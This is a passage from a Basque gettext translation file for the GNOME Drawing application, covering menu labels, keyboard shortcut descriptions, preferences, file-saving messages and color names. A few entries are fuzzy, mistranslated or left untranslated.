src/ui/toolbar-symbolic.ui\n#: src/ui/win-menus.ui src/deco_manager.py\nmsgid \"Undo\"\nmsgstr \"Desegin\"\n\n#: src/ui/app-menus.ui src/ui/headerbar.ui src/ui/headerbar-eos.ui\n#: src/ui/shortcuts.ui src/ui/toolbar.ui src/ui/toolbar-symbolic.ui\n#: src/ui/win-menus.ui src/deco_manager.py\nmsgid \"Redo\"\nmsgstr \"Berregin\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Rebuild from history\"\nmsgstr \"Leheneratu historialetik\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui src/ui/shortcuts.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Select all\"\nmsgstr \"Hautatu guztia\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui src/ui/shortcuts.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Cut\"\nmsgstr \"Ebaki\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui src/ui/shortcuts.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Copy\"\nmsgstr \"Kopiatu\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Delete\"\nmsgstr \"Ezabatu\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui src/ui/shortcuts.ui\n#: src/ui/toolbar.ui src/ui/toolbar-symbolic.ui\n#: src/optionsbars/selection/optionsbar-selection.ui\nmsgid \"Paste\"\nmsgstr \"Itsatsi\"\n\n#: src/ui/app-menus.ui src/ui/selection-manager.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/window.py\n#: src/optionsbars/selection/optionsbar-selection.ui\nmsgid \"Import\"\nmsgstr \"Inportatu\"\n\n#: src/ui/app-menus.ui\nmsgid \"_View\"\nmsgstr \"_Ikusi\"\n\n#: src/ui/app-menus.ui\nmsgid \"Show the preview\"\nmsgstr \"Erakutsi aurrebista\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/preferences.py\nmsgid \"Zoom\"\nmsgstr \"Zoom\"\n\n#: src/ui/app-menus.ui src/ui/minimap.ui src/ui/shortcuts.ui\nmsgid \"Optimal Zoom\"\nmsgstr \"Zoomik egokiena\"\n\n#: src/ui/app-menus.ui src/ui/minimap.ui src/ui/shortcuts.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\nmsgid \"Zoom Out\"\nmsgstr \"Txikiagotu\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\nmsgid \"Original Zoom\"\nmsgstr \"Jatorrizko tamaina\"\n\n#: src/ui/app-menus.ui src/ui/minimap.ui src/ui/shortcuts.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\nmsgid \"Zoom In\"\nmsgstr \"Handiagotu\"\n\n#. Context: this submenu is about moving the view to the\n#. left/right/top/bottom\n#: src/ui/app-menus.ui\nmsgid \"Position\"\nmsgstr \"Kokapena\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Go Left\"\nmsgstr \"Ezkerretara\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Go Up\"\nmsgstr \"Gora\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Go Down\"\nmsgstr \"Behera\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Go Right\"\nmsgstr \"Eskuinera\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Tab at the left\"\nmsgstr \"Ezkerreko fitxa\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\nmsgid \"Tab at the right\"\nmsgstr \"Eskuineko fitxa\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Refresh\"\nmsgstr \"Freskatu\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui src/ui/win-menus.ui\n#: src/preferences.py\nmsgid \"Show tools names\"\nmsgstr \"Erakutsi tresnen izenak\"\n\n#: src/ui/app-menus.ui src/ui/headerbar-eos.ui src/ui/shortcuts.ui\n#: src/ui/toolbar.ui src/ui/toolbar-symbolic.ui src/ui/win-menus.ui\nmsgid \"Fullscreen\"\nmsgstr \"Pantaila osoa\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"Exit fullscreen\"\nmsgstr \"Irten pantaila osotik\"\n\n#: src/ui/app-menus.ui\nmsgid \"_Colors\"\nmsgstr \"_Koloreak\"\n\n#: src/ui/app-menus.ui\nmsgid \"Edit Main Color…\"\nmsgstr \"Editatu kolore nagusia…\"\n\n#: src/ui/app-menus.ui\nmsgid \"Edit Secondary Color…\"\nmsgstr \"Editatu bigarren kolorea…\"\n\n#: src/ui/app-menus.ui\nmsgid \"Use color editor by default\"\nmsgstr \"Erabili kolore editorea lehenespenez\"\n\n#: src/ui/app-menus.ui src/ui/shortcuts.ui\n#: src/optionsbars/classic/optionsbar-classic.ui\nmsgid \"Exchange colors\"\nmsgstr \"Trukatu koloreak\"\n\n#: src/ui/app-menus.ui\nmsgid \"Color application mode\"\nmsgstr \"Koloreen aplikazio modua\"\n\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Normal\"\nmsgstr \"Normala\"\n\n#. Context: possible ways to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Other modes\"\nmsgstr \"Bestelako moduak\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Raw source color\"\nmsgstr \"Jatorrizko kolorea\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Highlight\"\nmsgstr \"Nabarmendu\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Difference\"\nmsgstr \"Batuketa\"\n\n#. Context: possible ways to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Photo-oriented modes\"\nmsgstr \"Argazkira bideratutako moduak\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Hue only\"\nmsgstr \"Ñabardura bakarrik\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Saturation only\"\nmsgstr \"Saturazioa bakarrik\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Hue and saturation\"\nmsgstr \"Ñabardura eta saturazioa\"\n\n#. Context: a possible way to apply the color to the canvas\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Luminosity only\"\nmsgstr \"Argitasuna bakarrik\"\n\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Don't use the colors but…\"\nmsgstr \"Ez erabili koloreak baina…\"\n\n#. To translators: this is a verb\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Blur\"\nmsgstr \"Lausotu\"\n\n#: src/ui/app-menus.ui src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Erase\"\nmsgstr \"Ezabatu\"\n\n#: src/ui/app-menus.ui\nmsgid \"_Tools\"\nmsgstr \"_Tresnak\"\n\n#: src/ui/app-menus.ui\nmsgid \"Previous tool\"\nmsgstr \"Aurreko tresna\"\n\n#: src/ui/app-menus.ui src/window.py\nmsgid \"_Options\"\nmsgstr \"_Aukerak\"\n\n#: src/ui/app-menus.ui\nmsgid \"_Help\"\nmsgstr \"_Laguntza\"\n\n#. Context: open the index of all help pages\n#: src/ui/app-menus.ui\nmsgid \"Index\"\nmsgstr \"Aurkibidea\"\n\n#. Context: open the help page about general use of the app\n#: src/ui/app-menus.ui\nmsgid \"Basic help\"\nmsgstr \"Oinarrizko laguntza\"\n\n#. Context: open the help page about classic tools\n#: src/ui/app-menus.ui\nmsgid \"Help about tools\"\nmsgstr \"Tresnen gaineko laguntza\"\n\n#. Context: open the help page about transformation tools (crop,\n#. scale, rotate, filters, ...\n#: src/ui/app-menus.ui\nmsgid \"Canvas and selection\"\nmsgstr \"Oihala eta aukeraketa\"\n\n#. Context: open the help page about the selection\n#: src/ui/app-menus.ui\nmsgid \"Help about selection\"\nmsgstr \"Hautaketaren gaineko laguntza\"\n\n#: src/ui/app-menus.ui src/ui/win-menus.ui\nmsgid \"About Drawing\"\nmsgstr \"Drawing-i buruz\"\n\n#: src/ui/headerbar.ui src/ui/headerbar-eos.ui src/ui/toolbar.ui\n#: src/ui/toolbar-symbolic.ui src/window.py\nmsgid \"Open\"\nmsgstr \"Ireki\"\n\n#: src/ui/new-image-dialog.ui src/ui/properties.ui\n#: src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\nmsgid \"Width\"\nmsgstr \"Zabalera\"\n\n#: src/ui/new-image-dialog.ui src/ui/properties.ui\n#: src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\nmsgid \"Height\"\nmsgstr \"Altuera\"\n\n#: src/ui/new-image-dialog.ui\nmsgid \"Color\"\nmsgstr \"Kolorea\"\n\n#: src/ui/new-image-dialog.ui\nmsgid \"Use these settings by default\"\nmsgstr \"Erabili ezarpen hauek lehenespenez\"\n\n#: src/ui/minimap.ui\nmsgid \"100%\"\nmsgstr \"% 100\"\n\n#. To translators: it's a measure unit, it appears in tooltips over\n#. numerical inputs\n#: src/ui/properties.ui src/utilities.py\nmsgid \"pixels\"\nmsgstr \"píxel\"\n\n#: src/ui/properties.ui\nmsgid \"centimeters\"\nmsgstr \"zentimetro\"\n\n#: src/ui/properties.ui\nmsgid \"inches\"\nmsgstr \"hazbete\"\n\n#: src/ui/preferences.ui\nmsgid \"Images\"\nmsgstr \"Irudiak\"\n\n#: src/ui/preferences.ui src/ui/shortcuts.ui src/ui/win-menus.ui\nmsgid \"Tools\"\nmsgstr \"Tresnak\"\n\n#: src/ui/preferences.ui\nmsgid \"Window\"\nmsgstr \"Leihoa\"\n\n#: src/ui/selection-manager.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Close selection\"\nmsgstr \"Itxi hautapena\"\n\n#: src/ui/selection-manager.ui src/ui/shortcuts.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Unselect\"\nmsgstr \"Desautatu\"\n\n#: src/ui/selection-manager.ui src/tools/ui/selection.ui\n#: src/tools/transform_tools/tool_crop.py\nmsgid \"Crop\"\nmsgstr \"Moztu\"\n\n#: src/ui/selection-manager.ui src/tools/ui/selection.ui\n#: src/tools/transform_tools/tool_scale.py\nmsgid \"Scale\"\nmsgstr \"Eskalatu\"\n\n#: src/ui/selection-manager.ui src/tools/ui/selection.ui\n#: src/tools/transform_tools/tool_rotate.py\nmsgid \"Rotate\"\nmsgstr \"Biratu\"\n\n#: src/ui/selection-manager.ui src/tools/ui/selection.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Filters\"\nmsgstr \"Iragazkiak\"\n\n#: src/ui/selection-manager.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/selection.ui\nmsgid \"Open As New Image\"\nmsgstr \"Ireki irudi berri gisa\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Keyboard Shortcuts\"\nmsgstr \"Laster-teklak\"\n\n#: src/ui/shortcuts.ui\nmsgid \"General\"\nmsgstr \"Orokorra\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Main menu\"\nmsgstr \"Menu nagusia\"\n\n#: src/ui/shortcuts.ui\nmsgid \"History\"\nmsgstr \"Historiala\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Image\"\nmsgstr \"Irudia\"\n\n#: src/ui/shortcuts.ui src/window.py\nmsgid \"Open a picture\"\nmsgstr \"Ireki irudi bat\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Reload image from disk\"\nmsgstr \"Birkargatu irudia diskotik\"\n\n#: src/ui/shortcuts.ui src/saving_manager.py\nmsgid \"Save picture as…\"\nmsgstr \"Gorde irudia honela…\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Close the active image\"\nmsgstr \"Itxi uneko irudia\"\n\n#: src/ui/shortcuts.ui\n#, fuzzy\nmsgid \"Open the tool options menu\"\nmsgstr \"Aukeren menua\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Back to previous tool\"\nmsgstr \"Atzera aurreko tresnara\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Colors\"\nmsgstr \"Koloreak\"\n\n#. Label displayed in the keyboard shortcuts dialog\n#: src/ui/shortcuts.ui\nmsgid \"Edit the main color (left click)\"\nmsgstr \"Editatu kolore nagusia (saguaren ezker klika)\"\n\n#. Label displayed in the keyboard shortcuts dialog\n#: src/ui/shortcuts.ui\nmsgid \"Edit the secondary color (right click)\"\nmsgstr \"Editatu bigarren kolorea (saguaren eskuin klika)\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Selection\"\nmsgstr \"Hautapena\"\n\n#. Label displayed in the keyboard shortcuts dialog\n#: src/ui/shortcuts.ui\nmsgid \"Delete the selection\"\nmsgstr \"Ezabatu hautapena\"\n\n#. Label displayed in the keyboard shortcuts dialog\n#: src/ui/shortcuts.ui\nmsgid \"Import a file as the selection\"\nmsgstr \"Inportatu fitxategia hautapen gisa\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Tabs\"\nmsgstr \"Fitxak\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Enter fullscreen mode\"\nmsgstr \"Pantaila osoko modura\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Exit fullscreen mode\"\nmsgstr \"Irten pantaila osotik\"\n\n#. Context: this section of the shortcuts window is about moving\n#. the view to the left/right/top/bottom\n#: src/ui/shortcuts.ui\nmsgid \"Navigation\"\nmsgstr \"Nabigazioa\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Toggle the preview\"\nmsgstr \"Trukatu aurrebista\"\n\n#: src/ui/shortcuts.ui\nmsgid \"Touch gestures\"\nmsgstr \"Ukipen keinuak\"\n\n#: src/ui/win-menus.ui\nmsgid \"Troubleshoot selection\"\nmsgstr \"Hautapen arazoak konpontzen\"\n\n#: src/ui/win-menus.ui\nmsgid \"Other tools\"\nmsgstr \"Beste tresnak\"\n\n#: src/ui/window.ui\nmsgid \"Error starting the application, please report this bug.\"\nmsgstr \"Errorea aplikazioa abiaraztean, mesedez eman errorearen berri.\"\n\n#: src/deco_manager.py\n#, python-format\nmsgid \"Undo %s\"\nmsgstr \"Desegin %s\"\n\n#: src/deco_manager.py\n#, python-format\nmsgid \"Redo %s\"\nmsgstr \"Berregin %s\"\n\n#. Context: an error message\n#: src/image.py\n#, python-format\nmsgid \"New pixbuf empty, no change applied to %s\"\nmsgstr \"\"\n\n#: src/image.py\nmsgid \"Can't reload a never-saved file from the disk.\"\nmsgstr \"Ezin da birkargatu diskoan inoiz gorde ez den fitxategia.\"\n\n#: src/image.py src/properties.py\nmsgid \"Unsaved file\"\nmsgstr \"Gorde gabeko fitxategia\"\n\n#: src/new_image_dialog.py src/saving_manager.py src/window.py\n#: src/tools/utilities_paths.py src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-filters.ui\n#: src/optionsbars/transform/optionsbar-rotate.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\n#: src/optionsbars/transform/optionsbar-skew.ui src/tools/ui/tool-text.ui\n#: src/tools/ui/tool-crop.ui src/tools/ui/tool-filters.ui\n#: src/tools/ui/tool-rotate.ui src/tools/ui/tool-scale.ui\n#: src/tools/ui/tool-skew.ui\nmsgid \"Cancel\"\nmsgstr \"Utzi\"\n\n#. Context: Create a new image\n#: src/new_image_dialog.py\nmsgid \"Create\"\nmsgstr \"Sortu\"\n\n#. Description of a command line option\n#: src/main.py\nmsgid \"Show the app version\"\nmsgstr \"Erakutsi aplikazioaren bertsioa\"\n\n#. Description of a command line option\n#: src/main.py\nmsgid \"Open a new window\"\nmsgstr \"Ireki leiho berria\"\n\n#. Description of a command line option\n#: src/main.py\nmsgid \"Open a new tab\"\nmsgstr \"Ireki fitxa berria\"\n\n#. Description of a command line option\n#: src/main.py\nmsgid \"Edit the clipboard content\"\nmsgstr \"Editatu arbelaren edukia\"\n\n#: src/main.py\nmsgid \"This version isn't stable!\"\nmsgstr \"Bertsio hau ez da egonkorra!\"\n\n#: src/main.py\nmsgid \"Report bugs or ideas\"\nmsgstr \"Errore edo ideien berri eman\"\n\n#. To tranlators: \"translate\" this by a list of your names (one name\n#. per line), they will be displayed in the \"about\" dialog\n#: src/main.py\nmsgid \"translator-credits\"\nmsgstr \"AlexanderGabilondo <alexgabi@disroot.org>, 2020\"\n\n#. To translators: this is credits for the icons, consider that \"Art\n#. Libre\" is proper name\n#: src/main.py\nmsgid \"GNOME's \\\"Art Libre\\\" icon set authors\"\nmsgstr \"GNOMEren \\\"Art Libre\\\" ikono bildumaren egileak\"\n\n#: src/main.py\nmsgid \"A drawing application for the GNOME desktop.\"\nmsgstr \"Marrazteko aplikazioa GNOME mahaigainerako.\"\n\n#: src/main.py\nmsgid \"Official webpage\"\nmsgstr \"Webgune ofiziala\"\n\n#: src/main.py\n#, python-format\nmsgid \"Error opening this file. Did you mean %s ?\"\nmsgstr \"Errorea fitxategia irekitzean. %s esan nahi zenuen?\"\n\n#. This string displays the zoom level: %s will be replaced with a\n#. number, while %% will be rendered as the symbol '%'\n#: src/minimap.py\n#, python-format\nmsgid \"%s%%\"\nmsgstr \"%s %%\"\n\n#. Context: title of a section of the preferences\n#: src/preferences.py\nmsgid \"New images\"\nmsgstr \"Irudi berriak\"\n\n#: src/preferences.py\nmsgid \"Default width\"\nmsgstr \"Zabalera lehenetsia\"\n\n#: src/preferences.py\nmsgid \"Default height\"\nmsgstr \"Altuera lehenetsia\"\n\n#: src/preferences.py src/optionsbars/transform/optionsbar-crop.ui\n#: src/tools/ui/tool-crop.ui\nmsgid \"Default color\"\nmsgstr \"Kolore lehenetsia\"\n\n#. Context: title of a section of the preferences\n#: src/preferences.py\nmsgid \"Images saving\"\nmsgstr \"Irudiak gordetzen\"\n\n#: src/preferences.py\nmsgid \"JPEG and BMP images can't handle transparency.\"\nmsgstr \"JPEG eta BMP irudiek ezin dute gardentasuna kudeatu.\"\n\n#: src/preferences.py\nmsgid \"\"\n\"If you save your images in these formats, what do want to use to replace \"\n\"transparent pixels?\"\nmsgstr \"\"\n\"Irudia formatu horietako batean gordetzen baduzu, zer erabili nahi duzu \"\n\"pixel gardenen ordez?\"\n\n#: src/preferences.py src/saving_manager.py src/utilities.py\nmsgid \"White\"\nmsgstr \"Zuria\"\n\n#: src/preferences.py src/saving_manager.py src/utilities.py\nmsgid \"Black\"\nmsgstr \"Beltza\"\n\n#: src/preferences.py src/saving_manager.py\nmsgid \"Checkboard\"\nmsgstr \"Xake-taula\"\n\n#: src/preferences.py src/saving_manager.py\nmsgid \"Nothing\"\nmsgstr \"Ezer ez\"\n\n#: src/preferences.py\nmsgid \"Ask before saving\"\nmsgstr \"Galdetu gorde aurretik\"\n\n#: src/preferences.py\nmsgid \"You can zoom with Ctrl+scrolling, or only scrolling.\"\nmsgstr \"Handiagotzeko Ktrl + saguaren gurpila edo gurpilaren bidez bakarrik.\"\n\n#: src/preferences.py\nmsgid \"See the user help manual for explanations.\"\nmsgstr \"Begiratu erabiltzailearen laguntza-eskuliburua azalpenetarako.\"\n\n#: src/preferences.py\nmsgid \"Use 'Ctrl' to zoom\"\nmsgstr \"Erabili Ktrl handiagotzeko\"\n\n#. Context: title of a section of the preferences (appearance of the\n#. tools: big icons?, labels?)\n#: src/preferences.py\nmsgid \"Appearance\"\nmsgstr \"Itxura\"\n\n#: src/preferences.py\nmsgid \"Use big icons\"\nmsgstr \"Erabili ikono handiak\"\n\n#. Context: title of a section of the preferences\n#: src/preferences.py\nmsgid \"Additional tools\"\nmsgstr \"Tresna gehigarriak\"\n\n#: src/preferences.py\nmsgid \"\"\n\"These tools are not as reliable and useful as they should be, so they are \"\n\"not all enabled by default.\"\nmsgstr \"\"\n\"Tresna hauek ez dira behar beste fidagarriak eta erabilgarriak, horregatik \"\n\"ez daude berez aktibatuta.\"\n\n#. Context: this is the name of a tool, in the meaning \"a rubber eraser\"\n#: src/preferences.py src/tools/classic_tools/tool_eraser.py\nmsgid \"Eraser\"\nmsgstr \"Borragoma\"\n\n#. Context: this is the name of a tool, a thick pencil dedicated to\n#. highlight text, for example in screenshots\n#: src/preferences.py src/tools/classic_tools/tool_highlight.py\nmsgid \"Highlighter\"\nmsgstr \"Nabarmentzailea\"\n\n#: src/preferences.py\nmsgid \"Points\"\nmsgstr \"\"\n\n#. Context: this is a tool to select an area according to a shape that\n#. can be freely defined by the user.\n#: src/preferences.py src/tools/selection_tools/select_free.py\nmsgid \"Free selection\"\nmsgstr \"Hautapen librea\"\n\n#. Context: this is a tool to \"magically\" select an area depending on its\n#. color. For example clicking on a white pixel will select the\n#. surrounding area made of white pixels.\n#: src/preferences.py src/tools/selection_tools/select_color.py\nmsgid \"Color selection\"\nmsgstr \"Kolore hautapena\"\n\n#. Context: this is a tool to pick a RGBA color in the image in order to\n#. use it to draw with other tools\n#: src/preferences.py src/tools/classic_tools/tool_picker.py\nmsgid \"Color Picker\"\nmsgstr \"Kolore-hautatzailea\"\n\n#. Context: the name of a tool to fill an area of one color with an other\n#: src/preferences.py src/tools/classic_tools/tool_paint.py\nmsgid \"Paint\"\nmsgstr \"Betegarria\"\n\n#. Context: title of a section of the preferences\n#: src/preferences.py\nmsgid \"Advanced options\"\nmsgstr \"Aukera aurreratuak\"\n\n#: src/preferences.py\nmsgid \"Preview size\"\nmsgstr \"Aurrebistaren tamaina\"\n\n#. This label will not be displayed in the UI of stable versions\n#: src/preferences.py\nmsgid \"Development features\"\nmsgstr \"Garapen eginbideak\"\n\n#: src/preferences.py\nmsgid \"Background color\"\nmsgstr \"Atzeko planoaren kolorea\"\n\n#. Context: title of a section of the preferences. It corresponds to the\n#. window layout (header-bar? tool-bar? menu-bar?)\n#: src/preferences.py\nmsgid \"Layout\"\nmsgstr \"Diseinua\"\n\n#: src/preferences.py\nmsgid \"The recommended value is \\\"Automatic\\\".\"\nmsgstr \"Gomendatutako balioa \\\"Automatikoa\\\" da.\"\n\n#. It has to match what's written in the previous string.\n#: src/preferences.py\nmsgid \"Automatic\"\nmsgstr \"Automatikoa\"\n\n#: src/preferences.py\nmsgid \"Compact\"\nmsgstr \"Trinkoa\"\n\n#: src/preferences.py\nmsgid \"elementary OS\"\nmsgstr \"elementary OS\"\n\n#. \"Legacy\" is about the window layout, it means menubar+toolbar, you\n#. can translate it like if it was \"Traditional\"\n#: src/preferences.py\nmsgid \"Legacy\"\nmsgstr \"Tradizionala\"\n\n#. \"Legacy\" is about the window layout, it means menubar+toolbar, you\n#. can translate it like if it was \"Traditional\".\n#. Symbolic icons are monochrome icons.\n#: src/preferences.py\nmsgid \"Legacy (symbolic icons)\"\nmsgstr \"Tradizionala (ikur ikonoak)\"\n\n#: src/preferences.py\nmsgid \"Menubar only\"\nmsgstr \"Menu-barra bakarrik\"\n\n#: src/preferences.py\nmsgid \"Toolbar only\"\nmsgstr \"Tresna-barra bakarrik\"\n\n#. Symbolic icons are monochrome icons.\n#: src/preferences.py\nmsgid \"Toolbar only (symbolic icons)\"\nmsgstr \"Tresna-barra bakarrik (ikur ikonoak)\"\n\n#: src/properties.py\n#, python-format\nmsgid \"%s px\"\nmsgstr \"%s px\"\n\n#: src/properties.py\n#, python-format\nmsgid \"%s cm\"\nmsgstr \"%s cm\"\n\n#: src/properties.py\n#, python-format\nmsgid \"%s in\"\nmsgstr \"%s in\"\n\n#. Context: the path of the edited file\n#: src/properties.py\nmsgid \"Path\"\nmsgstr \"Bide-izena\"\n\n#. Context: the file format of the edited file\n#: src/properties.py\nmsgid \"Format\"\nmsgstr \"Formatua\"\n\n#: src/properties.py\nmsgid \"Colorspace\"\nmsgstr \"Kolore-eredua\"\n\n#. Context: an invalid colorspace format\n#: src/properties.py\nmsgid \"Invalid format\"\nmsgstr \"Formatu baliogabea\"\n\n#. Context: an error message\n#: src/saving_manager.py\n#, python-format\nmsgid \"Failed to save %s\"\nmsgstr \"Errorea %s gordetzean\"\n\n#. Context: Untitled(.png) is the default name of a newly saved file\n#: src/saving_manager.py\nmsgid \"Untitled\"\nmsgstr \"Izenik gabe\"\n\n#. Context: the sentence \"There are unsaved modifications to %s.\"\n#: src/saving_manager.py\nmsgid \"this picture\"\nmsgstr \"irudi hau\"\n\n#: src/saving_manager.py\nmsgid \"Discard\"\nmsgstr \"Baztertu\"\n\n#. Context: %s will be replaced by the name of a file.\n#: src/saving_manager.py src/window.py\n#, python-format\nmsgid \"There are unsaved modifications to %s.\"\nmsgstr \"%s fitxategian gorde gabeko aldaketak daude.\"\n\n#: src/saving_manager.py\nmsgid \"\"\n\"A part of the image is selected, and the pixels beneath the selection are \"\n\"blank.\"\nmsgstr \"\"\n\n#: src/saving_manager.py\nmsgid \"Modifications from the current tool haven't been applied.\"\nmsgstr \"\"\n\n#: src/saving_manager.py\n#, fuzzy\nmsgid \"Do you want to save anyway?\"\nmsgstr \"Non ireki nahi duzu %s?\"\n\n#. Context: confirm replacing transparent pixels with the selected color\n#: src/saving_manager.py\nmsgid \"Replace\"\nmsgstr \"Ordeztu\"\n\n#: src/saving_manager.py\nmsgid \"This file format doesn't support transparent colors.\"\nmsgstr \"Fitxategi formatu honek ez du kolore gardenik onartzen.\"\n\n#: src/saving_manager.py\nmsgid \"You can save the image as a PNG file, or replace transparency with:\"\nmsgstr \"Irudia PDF formatuan gorde dezakezu edo gardentasunen ordez hau jarri:\"\n\n#: src/saving_manager.py\nmsgid \"Replace transparency with:\"\nmsgstr \"Gardentasunaren ordez hau jarri:\"\n\n#: src/utilities.py\nmsgid \"Transparent\"\nmsgstr \"Gardena\"\n\n#: src/utilities.py\n#, python-format\nmsgid \"%s%% transparent\"\nmsgstr \"%s %% garden\"\n\n#: src/utilities.py\nmsgid \"Grey\"\nmsgstr \"Grisa\"\n\n#: src/utilities.py\nmsgid \"Orange\"\nmsgstr \"Laranja\"\n\n#: src/utilities.py\nmsgid \"Brown\"\nmsgstr \"Marroia\"\n\n#. Context: the name of the current color is provided as a tooltip to\n#. help users with color blindness, but some color names don't have a\n#. clear definition. Here, the app thinks it's probably brown.\n#: src/utilities.py\nmsgid \"Probably brown\"\nmsgstr \"Marroia seguruenik\"\n\n#: src/utilities.py\nmsgid \"Red\"\nmsgstr \"Gorria\"\n\n#: src/utilities.py\nmsgid \"Green\"\nmsgstr \"Berdea\"\n\n#: src/utilities.py\nmsgid \"Blue\"\nmsgstr \"Urdina\"\n\n#: src/utilities.py\nmsgid \"Yellow\"\nmsgstr \"Horia\"\n\n#: src/utilities.py\nmsgid \"Magenta\"\nmsgstr \"Magenta\"\n\n#: src/utilities.py\nmsgid \"Purple\"\nmsgstr \"Morea\"\n\n#: src/utilities.py\nmsgid \"Cyan\"\nmsgstr \"Ziana\"\n\n#. Context: the name of the current color is provided as a tooltip to\n#. help users with color blindness, but some color names don't have a\n#. clear definition. Here, the app thinks it's probably turquoise.\n#: src/utilities.py\nmsgid \"Probably turquoise\"\nmsgstr \"Turkesa seguruenik\"\n\n#. Context: the name of the current color is provided as a tooltip to\n#. help users with color blindness, but some color names don't have a\n#. clear definition. Here, the app can't find a corresponding color name.\n#: src/utilities.py\nmsgid \"Unknown color name\"\nmsgstr \"Kolore izen ezezaguna\"\n\n#: src/utilities.py\nmsgid \"All pictures\"\nmsgstr \"Irudi guztiak\"\n\n#: src/utilities.py\nmsgid \"PNG images\"\nmsgstr \"PNG irudiak\"\n\n#: src/utilities.py\nmsgid \"JPEG images\"\nmsgstr \"JPEG irudiak\"\n\n#: src/utilities.py\nmsgid \"BMP images\"\nmsgstr \"IBMP irudiak\"\n\n#. To translators: it appears in tooltips over numerical inputs\n#: src/utilities.py\nmsgid \"percents\"\nmsgstr \"ehunekoak\"\n\n#. To translators: it's the angle measure unit, it appears in a tooltip\n#. over a numerical input\n#: src/utilities.py\nmsgid \"degrees\"\nmsgstr \"graduak\"\n\n#. Context: an error 